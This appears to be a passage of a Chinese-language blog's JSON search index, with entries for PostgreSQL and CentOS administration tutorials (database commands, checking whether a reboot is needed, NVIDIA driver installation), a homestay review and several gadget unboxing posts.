亦可一次新增多筆資料：\n-- 新增多筆資料 INSERT INTO demo (name, gender, birthday) VALUES (\u0026#39;Mary\u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;2011-10-12\u0026#39;), (\u0026#39;Tom\u0026#39;, \u0026#39;M\u0026#39;, \u0026#39;2008-01-02\u0026#39;); 查詢資料 查詢資料則用 SELECT 指令：\n-- 查詢資料 SELECT * FROM demo; id | name | gender | birthday ----+--------+--------+------------ 1 | Steven | M | 2012-03-21 2 | Mary | F | 2011-10-12 3 | Tom | M | 2008-01-02 (3 rows) 更改資料 若要刪除指定的資料，可用 DELETE 指令：\n-- 刪除資料 DELETE FROM demo WHERE id = 3; 若要更改指定的資料，可用 UPDATE 指令：\n-- 更改資料 UPDATE demo SET birthday = \u0026#39;2011-09-12\u0026#39; WHERE id = 2; 若要更改資料表的結構，可用 ALTER 指令：\n-- 更改資料表，新增欄位 ALTER TABLE demo ADD weight real; -- 更改資料表，刪除欄位 ALTER TABLE demo DROP weight; 刪除帳號、資料庫、資料表 若要刪除資料表，可用 DROP 指令：\n-- 刪除資料表 DROP TABLE demo; 若要移除 PostgreSQL 的使用者帳號與資料庫，可以使用 dropuser 與 dropdb 這兩個 Linux 指令。\n# 刪除 PostgreSQL 資料庫 sudo -u postgres dropdb gtwang # 刪除 PostgreSQL 使用者 sudo -u postgres dropuser gtwang 參考資料 Tecmint DigitalOcean DigitalOcean DigitalOcean ","permalink":"https://blog.gtwang.org/linux/how-to-install-and-use-postgresql-ubuntu-18-04/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 18.04 的環境下，安裝與使用 PostgreSQL 資料庫。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-postgresql\"\u003e安裝 PostgreSQL\u003c/h2\u003e\n\u003cp\u003e在 Ubuntu 官方的套件庫中已經有收錄 PostgreSQL 的相關套件，安裝前先更新套件庫資訊：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 更新套件庫\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt update\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安裝 PostgreSQL 相關套件：\u003c/p\u003e","title":"Ubuntu Linux 18.04 安裝與使用 PostgreSQL 資料庫教學"},{"content":"綠野鮮境民宿是位於新竹北埔的一家優質民宿，環境既清幽又舒適，不論旅遊或出差，這裡都是非常推薦的住宿地點。\n北埔綠野鮮境民宿是我朋友經營的一家民宿，環境清淨、設備也都非常棒，以往都是採包棟的方式經營，而今年剛好有推出平日的雙人房，價格也算便宜，所以這次我來新竹出差就選擇住在這裡，而最近觀光局與新竹縣政府都有住宿優惠補助，若有拿到補助的話，又可以便宜很多，非常划算。\n名稱：綠野鮮境民宿\n地址：新竹縣北埔鄉南埔村 1 鄰南埔 5-2 號\n網站：官方網站、facebook 粉絲專頁\n綠野鮮境民宿這邊非常適合全家大小一起來包棟住宿，若想要查詢更詳細的資訊（例如房型、價格等），請參考綠野鮮境的官方網站與 facebook 粉絲專頁，上面的有非常豐富的資訊可以查詢。\n從北埔那邊走竹 45 鄉道，過了南埔百年紅橋，就可以看到綠野鮮境民宿的招牌，從這個路口左轉進去就到了。\n這裡的環境非常清淨，路樹、景觀也維護得很漂亮。\n若開車來的話，車子可以直接開進去，這裡的廣場很大，停車非常方便。\n綠野鮮境民宿是一棟豪華的別墅，加上周圍的庭園景觀，來這裡住宿或度假都非常享受。\n這是屋子側邊的空地。\n這邊還有一個籃球框可以打籃球。\n綠野鮮境民宿是一家合法的民宿，有時候政府會有一些旅遊優惠補助，這邊也都可以使用。\n這是一進門所看到的客廳，空間非常寬敞，加上挑高的天花板，讓人感覺非常放鬆又舒服。\n客廳除了電視之外，還有一組落地音響，可以唱卡拉 OK。\n裡面還有一張會議桌。\n這是廚房、樓梯以及廁所。\n廚房是可以開火的，基本的廚具也都有，屋主很愛乾淨，都整理得很好。\n這些是可以使用的餐具，也有提供小朋友用的兒童餐具。\n這是一樓的廁所，打掃得很乾淨，衛浴設備也都很新。\n這是淋浴間，有乾濕分離的設計。\n這是二樓的起居室，這裡也有電視可以看。\n二樓這邊也有準備飲水與茶點。\n我今天是自己一個人來住邊住宿，所以晚上自己睡這一間套房。\n這是套房的浴室。\n各種盥洗用品、吹風機、毛巾、浴巾這裡都有提供。\n這是房間對外的窗戶，戶外有綠蔭，讓人感覺很舒服。\n這是房間落地窗外的陽台，看出去的景色也很不錯。\n一樓與二樓都有 WiFi 無線網路可以使用，對於像我這種出差需要用筆電上網的人來說，非常方便。\n在車道旁邊以及房子的周圍都有種植好幾棵的桂花，當桂花開花的季節，戶外四處都飄逸著桂花香。\n這裡也可以使用國民旅遊卡。\n關於南埔附近的景點，可以參考另外一篇南埔黃金水鄉的介紹文章。\n","permalink":"https://blog.gtwang.org/life/greenislend-homestay-beipu-hsinchu-20190408/","summary":"\u003cp\u003e綠野鮮境民宿是位於新竹北埔的一家優質民宿，環境既清幽又舒適，不論旅遊或出差，這裡都是非常推薦的住宿地點。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e北埔綠野鮮境民宿是我朋友經營的一家民宿，環境清淨、設備也都非常棒，以往都是採包棟的方式經營，而今年剛好有推出平日的雙人房，價格也算便宜，所以這次我來新竹出差就選擇住在這裡，而最近觀光局與新竹縣政府都有住宿優惠補助，若有拿到補助的話，又可以便宜很多，非常划算。\u003c/p\u003e","title":"[新竹北埔住宿] 綠野鮮境民宿：環境清幽、舒適，旅遊出差首選"},{"content":"本篇是羅技 MK850 多工無線鍵盤滑鼠組合的簡單開箱文。\n在辦公室如果同時要使用多台不同系統的電腦（例如 Windows 電腦加上 Mac 電腦與筆電等），桌上難免會有好幾組鍵盤與滑鼠，除了易佔空間之外，使用上也容易搞混。\n這一組羅技 MK850 多工無線鍵盤與滑鼠售價是 3190 元，可以連接多台電腦，並且可以在多台電腦之間快速切換，對於有多工需求的人來說，相當方便。\n這一組多工無線鍵盤滑鼠應該算是羅技的鍵盤滑鼠組中最頂級的。\n開箱。\n這是 MK850 的無線鍵盤，同時支援 Windows 與 Mac OS 的按鍵，在與電腦配對的時候可以設定讓鍵盤使用哪一種配置。\n這一組鍵盤有人體工學的設計，中間比較高，兩邊比較低。\n鍵盤上方有三個切換鍵，可以快速切換不同的電腦。\n這是鍵盤背面的樣子。\n鍵盤用的電池是兩個四號電池。\n鍵盤側面有一個電源開關，沒用的時候把電源關掉可以省電。\n這是 MK850 的無線滑鼠，滑鼠上面也有一個切換器，可以快速更換連接的電腦。\n側面有三個明顯的按鍵，分別是下一頁、下一頁以及電腦的切換，在下方還有一個隱藏的按鍵，可以快速切換桌面上的視窗。\n滑鼠的滾輪除了有左右鍵功能，還可以將滾輪鬆開，方便在大型文件上連續滾動。\n這是背面的樣子。\n這一個滑鼠使用的是一顆三號的電池。\n這是 Unifying 的接收器，還有一條 USB 的延長線。\n盒子底部有一張簡易的使用說明圖，操作方式簡單易懂。\n","permalink":"https://blog.gtwang.org/unboxing/mk850-wireless-keyboard-mouse-combo-20190312/","summary":"\u003cp\u003e本篇是羅技 MK850 多工無線鍵盤滑鼠組合的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e在辦公室如果同時要使用多台不同系統的電腦（例如 Windows 電腦加上 Mac 電腦與筆電等），桌上難免會有好幾組鍵盤與滑鼠，除了易佔空間之外，使用上也容易搞混。\u003c/p\u003e","title":"[開箱] 羅技 MK850 多工無線鍵盤滑鼠組合"},{"content":"本篇是 Sennheiser HD 4.40 BT 藍牙無線耳機的簡單開箱文。\n這款 Sennheiser HD 4.40 BT 藍牙無線耳機在 PChome 的價格是 3690 元，外盒質感很不錯。\n外盒上面還有驗證序號，可以從官方網站上確認正貨。\n這一張是有雷射貼紙的防偽標籤。\n這一副耳機有兩年的保固期，電池的電力最長可達 25 小時。\n外盒的開口處還有防拆的封條，各種小細節都非常講究。\n打開外盒。\n這就是 Sennheiser HD 4.40 BT 藍牙無線耳機。\n這些就是耳機與所有的配件。\n以下是耳機的一些照片。\n耳機的右側有許多的控制按鈕，有電源紐、上一首與下一首，還有音量按鈕。\n下方有一個音源線插孔，當耳機沒電的時候，可以插上音源線使用。旁邊還有一個 Micro USB 介面的充電插孔。\n最後這一個是耳機的麥克風。\n在耳機的側面還有另外一個麥克風。\n耳機的左側有 NFC 的功能，只要拿手機透過 NFC 感應，即可立即配對。\n這款耳機還可以折疊起來，方便攜帶。\n這是將耳機延伸到最長的樣子。\n配件的線材有兩條，分別是 Micro USB 充電線，以及 Sennheiser HD 4.40 BT 藍牙無線耳機專用的音源線。\n這是將音源線接上耳機的樣子，這條音源線有特別設計過，插頭上插上去的時候，可以轉一下讓它鎖上，這樣就完全不會有插頭鬆落的問題。\n耳機插上 Micro USB 的電源線充電時，會有指示燈顯示充電狀況，而充電充飽的時候，耳機也會發出通知語音訊息。\n這是附贈的耳機收納袋。\n這款耳機在開機、關機與成功建立藍芽連線時，都會有英文的語音通知訊息，許多小細節都設計得非常好。\n","permalink":"https://blog.gtwang.org/unboxing/sennheiser-hd-440-bt-wireless-headphones-20190312/","summary":"\u003cp\u003e本篇是 Sennheiser HD 4.40 BT 藍牙無線耳機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這款 Sennheiser HD 4.40 BT 藍牙無線耳機在 PChome 的價格是 3690 元，外盒質感很不錯。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Sennheiser HD 4.40 BT 藍牙無線耳機\" loading=\"lazy\" src=\"/unboxing/sennheiser-hd-440-bt-wireless-headphones-20190312/sennheiser-hd-440-bt-wireless-headphones-20190312-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e外盒上面還有驗證序號，可以從官方網站上確認正貨。\u003c/p\u003e","title":"[開箱] Sennheiser HD 4.40 BT 藍牙無線耳機"},{"content":"本篇介紹 CentOS Linux 系統在進行軟體套件更新之後，該如何判斷作業系統是否需要重新啟動。\nLinux 伺服器的系統與軟體更新是定期需要做的工作，某些重要的系統套件在更新完之後，可能會需要重新啟動對應的服務，甚至若有更新到 Linux 核心的時候，還會需要重新開機，而如何判斷哪些服務要重新啟動，以及何時需要重新開機，就是更新後常會遇到的小問題。\nneeds-restarting 是一個 yum-utils 套件中的一個小工具，它可以快速檢查目前的系統狀態，列出需要重新啟動的服務，並且檢查 Linux 核心的版本，判斷是否需要重新開機。\n使用前先用 yum 安裝 yum-utils 套件：\n# 安裝 yum-utils 套件 sudo yum install yum-utils 檢查 Linux 系統是否需要重新開機 執行 needs-restarting 指令搭配 -r 參數可以檢查 Linux 核心版本，判斷作業系統是否需要重新啟動：\n# 檢查作業系統是否需要重新啟動 needs-restarting -r Core libraries or services have been updated: kernel -\u003e 3.10.0-957.1.3.el7 kernel -\u003e 3.10.0-957.5.1.el7 dbus -\u003e 1:1.10.24-13.el7_6 kernel -\u003e 3.10.0-862.14.4.el7 openssl-libs -\u003e 1:1.0.2k-16.el7_6.1 systemd -\u003e 219-62.el7_6.5 glibc -\u003e 2.17-260.el7_6.3 linux-firmware -\u003e 20180911-69.git85c5d90.el7 kernel -\u003e 3.10.0-957.10.1.el7 kernel -\u003e 3.10.0-862.11.6.el7 Reboot is required to ensure that your system benefits from these updates. More information: https://access.redhat.com/solutions/27943 如果輸出的訊息中，有 Reboot is required ... 這樣的訊息，就代表目前運行的 Linux 核心版本過舊，需要重新開機。\n另一個檢查方式是看 needs-restarting 指令執行的傳回值，如果是 0 就代表不需要重新開機，而若是 1 則代表需要重新開機：\n# 查看傳回值 echo $? 1 若要立即重新開機的話，就執行：\n# 立即重新開機 sudo reboot 或是讓系統排定在指定的時間點再進行重新開機：\n# 指定時間重新開機 shutdown -r 21:30 \u0026amp; 檢查服務是否需要重新啟動 若執行 needs-restarting 並加上 -s 參數，可以列出需要重新啟動的系統服務：\n# 檢查是否有服務需要重新啟動 sudo needs-restarting -s chronyd.service systemd-logind.service NetworkManager.service rsyslog.service mariadb.service rh-php71-php-fpm.service auditd.service getty@tty1.service serial-getty@ttyS0.service sshd.service nginx.service firewalld.service dbus.service systemd-journald.service systemd-udevd.service polkit.service 若要重新啟動指定的服務，可以使用 systemctl 搭配 restart 參數，例如重新啟動 sshd 則執行：\n# 檢查是否有服務需要重新啟動 sudo systemctl restart sshd 參考資料 Server Fault ","permalink":"https://blog.gtwang.org/linux/centos-linux-how-to-check-if-reboot-is-required/","summary":"\u003cp\u003e本篇介紹 CentOS Linux 系統在進行軟體套件更新之後，該如何判斷作業系統是否需要重新啟動。\u003c/p\u003e\n\u003cp\u003eLinux 伺服器的系統與軟體更新是定期需要做的工作，某些重要的系統套件在更新完之後，可能會需要重新啟動對應的服務，甚至若有更新到 Linux 核心的時候，還會需要重新開機，而如何判斷哪些服務要重新啟動，以及何時需要重新開機，就是更新後常會遇到的小問題。\u003c/p\u003e","title":"CentOS Linux 判斷更新後是否要重新開機？"},{"content":"本篇是 ifive 五元素 UHF 無線麥克風的簡單開箱文。\n最近買了一隻 ifive 五元素 UHF 無線麥克風，準備拿來上課用，這一組一對一的麥克風價格是一千七百多元 。\n打開外盒。\n這些就是無線麥克風與所有的配件。\n麥克風的接收器可用 Micro USB 的方式來充電，充飽電之後，打開電源，插在擴大機或是電腦的麥克風輸入即可使用。\n麥克風上面有一個電源開關，打開之後會顯示頻道以及電量。\n麥克風是靠著兩顆三號電池供電的。\n麥克風還有附帶一個橡皮圈，套上之後可以防止麥克風滾動。\n這是麥克風的防風套。\n","permalink":"https://blog.gtwang.org/unboxing/ifive-5fnf-uhf-wireless-microphone-20190315/","summary":"\u003cp\u003e本篇是 ifive 五元素 UHF 無線麥克風的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一隻 ifive 五元素 UHF 無線麥克風，準備拿來上課用，這一組一對一的麥克風價格是一千七百多元 。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] ifive 五元素 UHF 無線麥克風"},{"content":"本篇是 TP-LINK AV600 Wi-Fi 電力線網路橋接器的簡單開箱文。\n在家中使用 Wi-Fi 無線網路時，難免會有訊號死角，像我家的 Wi-Fi 無線 AP 放在一樓，二樓的訊號就比較差，三樓根本完全收不到訊號，所以手機一拿到三樓就沒有 Wi-Fi 可用，非常麻煩。\n在自己家裡如果想要延伸有線或無線網路的使用範圍，又不想要另外牽網路線的話，就可以考慮加裝一組電力線網路橋接器。\n打開外盒。\n這是所有的內容物，包含一組橋接器、兩條 RJ45 網路線與說明書等。\n這一組橋接器有兩個，小的這一個接在原本的網路交換器（或路由器）上，另外一個大的就接在需要使用網路的位置（通常就是訊號不良的房間）。\n小的這一個是連接對外的網路，所以只需要一個網路孔，而大的這一個則是對內的網路孔，可以接兩個有線的網路設備，同時也可以作為無限 AP 使用，讓設備透過 Wi-Fi 上網。\n電源插座除了供電的用途之外，還具備網路訊號傳遞的功能。因為電力線網路就是靠著電力線傳遞訊號的，原則上只要屋內有插座的地方，就可以直接插上使用（不過要注意電力線網路訊號無法跨越電表）。\n這個 AV600 電力線網路橋接器所提供的 Wi-Fi 無線網路模式有兩種，一種是建立獨立的 Wi-Fi 無線網路，另外一種則是可以自動複製原本家中的 Wi-Fi 設定，拓展原本的訊號範圍，操作都很簡單。\n這一組橋接器在第一次使用時須要進行配對，並設定好 Wi-Fi 網路，而日後就只要插在家中的任意一個插頭上，就可以直接使用，也就是說我們可以隨時更換上網的位置，算是很實用的網路設備。\n","permalink":"https://blog.gtwang.org/unboxing/tp-link-av600-wifi-tl-wpa4220kit-range-extender-powerline-edition-20190313/","summary":"\u003cp\u003e本篇是 TP-LINK AV600 Wi-Fi 電力線網路橋接器的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e在家中使用 Wi-Fi 無線網路時，難免會有訊號死角，像我家的 Wi-Fi 無線 AP 放在一樓，二樓的訊號就比較差，三樓根本完全收不到訊號，所以手機一拿到三樓就沒有 Wi-Fi 可用，非常麻煩。\u003c/p\u003e","title":"[開箱] TP-LINK AV600 Wi-Fi 電力線網路橋接器雙包組 TL-WPA4220KIT"},{"content":"本篇介紹如何在 CentOS Linux 7 的系統中，安裝 NVIDIA 顯示卡的驅動程式，啟用 OpenGL 加速功能。\nStep 1\n使用 lshw 指令檢查一下系統資訊，確認顯示卡的型號：\nlshw -numeric -C display *-display description: VGA compatible controller product: GP107GL [Quadro P620] [10DE:1CB6] vendor: NVIDIA Corporation [10DE] physical id: 0 bus info: pci@0000:0f:00.0 version: a1 width: 64 bits clock: 33MHz capabilities: vga_controller bus_master cap_list rom configuration: driver=nouveau latency=0 resources: irq:79 memory:fa000000-faffffff memory:d0000000-dfffffff memory:ce000000-cfffffff ioport:ec00(size=128) memory:fbe00000-fbe7ffff Step 2\n從 NVIDIA 網站 下載最新的顯示卡驅動程式，或是從 Unix Driver Archive 上面直接下載指定版本的驅動程式。\nStep 3\n安裝編譯器等基本開發工具：\n# 安裝開發相關工具 yum groupinstall \u0026#34;Development Tools\u0026#34; 安裝 Linux 核心開發套件，並啟用 EPEL 套件庫：\n# 安裝核心開發套件、啟用 EPEL yum install kernel-devel epel-release 安裝動態核心模組支援（Dynamic Kernel Module Support，DKMS），若不想使用 DKMS 功能，亦可省略這一項：\n# 安裝 DKMS yum install dkms Step 4\n停用 nouveau 這個開放原始碼的顯示卡驅動程式，使用管理者權限編輯 /etc/default/grub 這個 GRUB 設定檔：\n# 修改 GRUB 設定 sudo vi /etc/default/grub 將 GRUB_CMDLINE_LINUX 的參數後方加上 nouveau.modeset=0：\nGRUB_TIMEOUT=5 GRUB_DISTRIBUTOR=\u0026#34;$(sed \u0026#39;s, release .*$,,g\u0026#39; /etc/system-release)\u0026#34; GRUB_DEFAULT=saved GRUB_DISABLE_SUBMENU=true GRUB_TERMINAL_OUTPUT=\u0026#34;console\u0026#34; GRUB_CMDLINE_LINUX=\u0026#34;crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet nouveau.modeset=0\u0026#34; GRUB_DISABLE_RECOVERY=\u0026#34;true\u0026#34; Step 5\n執行 grub2-mkconfig 產生新的 GRUB 設定檔，以下是適用於 BIOS 與 UEFI 的兩個指令，請依照自己的狀況選擇：\n# 更新 GRUB 設定檔（BIOS） $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg # 更新 GRUB 設定檔（UEFI） $ sudo grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg Step 6\n重新啟動作業系統。接著使用 lshw 指令再檢查一下系統資訊，確認 nouveau 已被停用：\nlshw -numeric -C display Step 7\n安裝 NVIDIA 驅動程式之前，必須將 X Window 停止，切換成文字模式：\n# 停止 X Window sudo systemctl isolate multi-user.target Step 8\n執行剛剛下載的 NVIDIA 驅動程式安裝檔案：\n# 執行 NVIDIA 驅動程式安裝檔案 sudo bash NVIDIA-Linux-x86_64-*.run Step 9\n安裝完成後，重新啟動系統，就可以正常使用 NVIDIA 顯示卡的 OpenGL 加速功能了。\n若需要調整顯示卡的細部設定，可以執行 nvidia-settings 這個指令；若要查看 NVIDIA 顯示卡的硬體狀態，可以使用 nvidia-smi 這個指令。\n參考資料 LinuxConfig.org nixCraft ","permalink":"https://blog.gtwang.org/linux/centos-linux-7-install-nvidia-driver-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 7 的系統中，安裝 NVIDIA 顯示卡的驅動程式，啟用 OpenGL 加速功能。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003elshw\u003c/code\u003e 指令檢查一下系統資訊，確認顯示卡的型號：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003elshw -numeric -C display\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre class=\"output\"\u003e*-display\n       description: VGA compatible controller\n       product: GP107GL [Quadro P620] [10DE:1CB6]\n       vendor: NVIDIA Corporation [10DE]\n       physical id: 0\n       bus info: pci@0000:0f:00.0\n       version: a1\n       width: 64 bits\n       clock: 33MHz\n       capabilities: vga_controller bus_master cap_list rom\n       configuration: driver=nouveau latency=0\n       resources: irq:79 memory:fa000000-faffffff memory:d0000000-dfffffff memory:ce000000-cfffffff ioport:ec00(size=128) memory:fbe00000-fbe7ffff\u003c/pre\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 2\u003c/span\u003e\u003c/p\u003e","title":"CentOS Linux 7 安裝 NVIDIA 顯示卡驅動程式教學"},{"content":"本篇是米家 wiha 精修螺絲工具套裝組的簡單開箱文。\n米家 wiha 精修螺絲工具套裝曾經獲得德國紅點 2017 產品設計大獎，在設計上相當有水準，售價只要 495 元而已，價格便宜、質感好又實用。\n這是外盒的背面。\n紙套上面有標示簡單的使用方式以及注意事項。\n這一組精修螺絲工具套裝組總共有 24 根螺絲披頭，加上一支握柄。\n各個批頭旁都標示了形狀，一般電腦、3C 電子產品常用的螺絲都包含在內。\n這一支握柄的設計還不錯，凹槽內有磁鐵的設計，披頭在裝入的時候會吸附住，而在轉的時候也滿順手的。\n阿玄最近拿一台舊的單眼相機在學拍照，正好跟我一起拍開箱文。\n參考資料 阿祥的網路筆記本 ","permalink":"https://blog.gtwang.org/unboxing/mi-x-wiha-precision-screwdriver-20190313/","summary":"\u003cp\u003e本篇是米家 wiha 精修螺絲工具套裝組的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e米家 wiha 精修螺絲工具套裝曾經獲得德國紅點 2017 產品設計大獎，在設計上相當有水準，售價只要 495 元而已，價格便宜、質感好又實用。\u003c/p\u003e","title":"[開箱] 米家 wiha 精修螺絲工具套裝"},{"content":"XY-BT-MINI 迷你藍牙接收撥放解碼模組可以透過藍芽接收聲音訊號，只要接在普通的喇叭上面就可以讓喇叭具有藍芽的功能。\n我之前自己買了一組二手的 YAMAHA 喇叭，組了一組音響，放在客廳聽起來非常滿意，不過小缺點就是每次要選曲目都要跑到擴大器前面操作，沒有遙控的功能，所以就想要自己把音響加上藍芽的功能，這樣就可以用手機（或其他支援藍芽的設備）播放音樂。\n若想要讓音響有藍芽功能有很多種選擇，可以直接把擴大器換掉，換成有藍芽功能的，或是另外接上一個藍芽音訊接收裝置。最便宜的解決方式就是買一片類似這樣的藍芽接收模組，接上去直接就可以用了。\n這一片 XY-BT-MINI 迷你藍牙接收撥放解碼模組是我在網路上買的，大陸淘寶一片只要 9 元人民幣（不含運費），而在台灣買的話，則是要兩倍價格，不過我只要一片，就直接在露天買了。\n這一片 XY-BT-MINI 藍芽接收撥放解碼模組可以接收來自於手機或是電腦等藍芽設備的音訊，透過 3.5mm 的耳機孔輸出聲音，而電源則是透過 Micro USB 介面輸入（用普通的手機充電線即可）。\n它的角色跟用法與 MP3 解碼板相似，同樣都用 Micro USB 供電，藉由 3.5 mm 的耳機孔輸出音訊，差別只在於 MP3 解碼板是從 Micro SD 卡撥放音樂，而這一片 XY-BT-MINI 是透過藍芽接收音訊。\n這一片 XY-BT-MINI 體積非常小，所以不要期待它有多好的音質表現，就只是可以方便聽音樂而已。\n這是 XY-BT-MINI 背面的樣子。\n接上電源之後，會有一個藍色的 LED 指示燈發光，通電之後會發出一小段音效聲音，代表藍芽已經開啟，可以開始進行藍牙配對或連線。\n此時用手機（或電腦）開啟藍牙功能，尋找 XY_BT 這個藍芽裝置，進行配對，成功以藍芽配對並連線之後，XY-BT-MINI 也會發出另一種音效聲音。\n將這一片 XY-BT-MINI 藍芽接收模組接在傳統音響（或是普通的電腦喇叭）上，就可以讓音響升級成藍芽音響，成功用手機進行藍芽配對之後，就可以坐在沙發上用手機播放音樂了。\n","permalink":"https://blog.gtwang.org/iot/xy-bt-mini-mp3-bluetooth-lossless-decoder-board-20190307/","summary":"\u003cp\u003eXY-BT-MINI 迷你藍牙接收撥放解碼模組可以透過藍芽接收聲音訊號，只要接在普通的喇叭上面就可以讓喇叭具有藍芽的功能。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我之前自己\u003ca href=\"/diy/yamaha-nx-gx50-fx-audio-502e-loudspeaker-system-2019/\"\u003e買了一組二手的 YAMAHA 喇叭，組了一組音響\u003c/a\u003e，放在客廳聽起來非常滿意，不過小缺點就是每次要選曲目都要跑到擴大器前面操作，沒有遙控的功能，所以就想要自己把音響加上藍芽的功能，這樣就可以用手機（或其他支援藍芽的設備）播放音樂。\u003c/p\u003e","title":"XY-BT-MINI 迷你藍牙接收撥放解碼模組"},{"content":"本篇是 Creative GigaWorks T40 Series II 喇叭的簡單開箱文。\n在今年過年期間 Creative GigaWorks T40 Series II 這款喇叭大特價，原本這組喇叭的定價大約是六千左右，過年限時特價台幣 2990 元，所以馬上買了一組來用用看。\n以電腦喇叭來說，六千塊的等級已經算是很不錯的了。\n這是兩個喇叭。\n拆開泡泡袋，感覺還滿大一個的，質感很不錯。\n這一盒是配件。\n配件包含音源線、兩個喇叭底座、螺絲、變壓器、電源線，加上一個 RCA 轉 3.5mm 的轉接頭。\n將喇叭底座裝上去之後，就可以立起來了。\n喇叭上方是特殊的 BasXPort 低音設計，可以讓低音更顯著。\n這是前方的控制面板。\n拆下網罩後，可以看到三個單體，上下兩個是中音單體、中間的是高音單體。\n這是背面的樣子。\n三個插孔分別是音源輸入、左聲道音源輸出（連接另一個喇叭）以及電源輸入。\n這是關於喇叭的詳細標示資訊。\n這是兩個喇叭組裝好的樣子。\n擺在電腦桌上的時候，雖然這個喇叭還不小，不過它是細長型的設計，所以不會佔用太多空間。\n喇叭的電源打開的時候，會有藍色的燈光，表示喇叭正在運作，而如果經過一段時間沒有輸出聲音的話，它會自動進入休眠狀態，休眠的時候藍燈就會熄滅，等到再次有聲音輸出時，它又會自動喚醒，有這個功能的話就可以不必時常開關喇叭了。\n以下是單體的特寫照片。\n這是喇叭的網罩，髒了可以拿去洗。\n這款 Creative GigaWorks T40 Series II 喇叭的聲音聽起來確實很不錯，低音非常有力，適合喜歡重低音的人，或是拿來看電影。\n我最近同時也用 YAMAHA NX-GX50 喇叭自己組裝了一台音響，音質又比這組 Creative 的喇叭更好，不過以電腦喇叭來說，這組 Creative GigaWorks T40 Series II 喇叭也算是不錯的了。\n","permalink":"https://blog.gtwang.org/unboxing/creative-gigaworks-t40-series-ii-2019/","summary":"\u003cp\u003e本篇是 Creative GigaWorks T40 Series II 喇叭的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e在今年過年期間 Creative GigaWorks T40 Series II 